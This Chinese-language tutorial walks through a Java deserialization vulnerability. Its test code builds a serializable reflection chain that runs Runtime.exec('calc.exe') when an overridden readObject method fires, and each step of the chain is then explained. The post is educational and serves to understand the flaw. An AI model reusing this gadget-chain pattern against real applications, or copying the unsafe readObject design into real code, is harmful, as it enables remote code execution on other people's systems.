测试代码:
package test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class ReflectionPlay implements Serializable{
public static void main(String[] args) throws Exception {
new ReflectionPlay().run();
}
public void run() throws Exception {
byte[] ObjectBytes=serialize(getObject());
deserialize(ObjectBytes);
}
//在此方法中返回恶意对象
public Object getObject() {
String command = "calc.exe";
Object firstObject = Runtime.class;
ReflectionObject[] reflectionChains = {
/*
* Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
new Class[] {}).invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
*
* */
//调用 Runtime.class 的getMethod方法,寻找 getRuntime方法,得到一个Method对象(getRuntime方法)
//等同于 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用 Method 的 invoker 方法可以得到一个Runtime对象
// 等同于 method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将 command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
}
/*
* 序列化对象到byte数组
* */
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
/*
* 从byte数组中反序列化对象
* */
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
/*
* 一个模拟拥有漏洞的类,主要提供的功能是根据自己的属性中的值来进行反射调用
* */
class ReflectionObject implements Serializable{
private String methodName;
private Class[] paramTypes;
private Object[] args;
public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
//根据 methodName, paramTypes 来寻找对象的方法,利用 args作为参数进行调用
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass();
return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
}
}
/*
* 一个用来模拟提供恶意代码的类,
* 主要的功能是将 ReflectionObject进行串联调用,与ReflectionObject一起构成漏洞代码的一部分
* */
class ReflectionChains implements Serializable{
private Object firstObject;
private ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains构造方法
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
System.out.println(concurrentObject);
}
return concurrentObject;
}
}
/**
* 一个等待序列化的类,拥有一个属性和一个重写了的readObject方法
* 并且在readObject方法中执行了该属性的一个方法
* */
class ReadObject implements Serializable {
private ReflectionChains reflectionChains;
public ReadObject(ReflectionChains reflectionChains) {
this.reflectionChains = reflectionChains;
}
//当反序列化的时候,这个代码会被调用
//该方法被调用的时候其属性都是空
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用来模拟当readObject的时候,对自身的属性进行了一些额外的操作
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
运行结果:
涉及到的类:
类名 | 是否继承 Serializable | 方法名 |
---|---|---|
ReflectionObject | 继承 | transform |
ReflectionChains | 继承 | execute |
ReadObject | 继承 | readObject(重写) |
注:要想产生反序列漏洞,需要重写readObjec方法
代码流程:
getObject(); 生成一个ReflectionObject数组,包含三个ReflectionObject对象;然后使用ReflectionObject数组生成一个ReflectionChains对象,继续使用ReflectionChains对象生成一个ReadObject对象
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用 Method 的 invoker 方法可以得到一个Runtime对象
// 等同于 method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将 command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用来模拟当readObject的时候,对自身的属性进行了一些额外的操作
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
在这里我们需要注重看
在生成ReadObject对象时传入的参数是ReflectionChains对象,所以这里调用的execute()方法就是ReflectionChains的execute()方法。
接着分析ReflectionChains的execute()方法:
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
System.out.println(concurrentObject);
}
return concurrentObject;
}
关键代码:
由上面可知生成ReflectionChains对象时传入的参数是ReflectionObject数组,这段代码的含义便是:遍历ReflectionObject数组,每一个元素(ReflectionObject)执行transform方法
继续分析ReflectionObject的transform方法:
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass(); 得到input对象是那个类的类名
return inputClass.getMethod(methodName, paramTypes).invoke(input, args); 通过类名调用该类的某一方法
}
注意:
通过以上分析可以了解到,进行反序列化的反射链为:
deserialize(ObjectBytes); 调用ReadObject类的readObject方法;接下来调用ReflectionChains类的execute方法;接下来通过遍历ReflectionObject数组调用ReflectionObject类的transform方法
通过以上代码分析看,最终需要执行的便是以下代码:
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用 Method 的 invoker 方法可以得到一个Runtime对象
// 等同于 method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将 command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
等同于执行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同于执行了:method.invoke(null),静态方法不用传入对象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime对象的exec方法,并将 command作为参数执行命令
第一个对象执行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
输出的结果:java.lang.Runtime.getRuntime() 输出的是一个类
第二个对象执行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
输出结果:java.lang.Runtime@74a14482 输出的是一个Runtime的对象
第二个对象执行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")
package test;
import java.lang.reflect.InvocationTargetException;
public class test5 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {
//Class inputClass = input.getClass();
//inputClass.getMethod(methodName, paramTypes).invoke(input, args)
//new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
Class inputClass1 = Runtime.class.getClass();
Object concurrentObject1 = inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
System.out.println(inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}));
//public static java.lang.Runtime java.lang.Runtime.getRuntime()
//new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
Class inputClass2 = concurrentObject1.getClass();
Object concurrentObject2 = inputClass2.getMethod("invoke",new Class[]{Object.class, Object[].class}).invoke(concurrentObject1, new Object[]{null, new Object[0]});
System.out.println(concurrentObject2);
//java.lang.Runtime@3d4eac69
//new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
Class inputClass3 = concurrentObject2.getClass();
Object concurrentObject3 = inputClass3.getMethod("exec",new Class[]{String.class}).invoke(concurrentObject2,new Object[]{"calc.exe"});
System.out.println(concurrentObject3);
/*
* 对比user类:
* inputClass.getMethod(methodName, paramTypes).invoke(input, args)
* 对参数说明:
* inputClass user.getClass()
* methodName 调用的方法名称
* paramTypes 调用方法的参数类型
* input 是 inputClass的一个对象
* args 调用方法的参数
*
* 函数返回结果:
* input对象调用methodName的方法(传入的参数是args)返回的结果:比如 void setName(String name){} 返回的是null
* */
}
}
参考链接:http://www.freebuf.com/vuls/170344.html
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。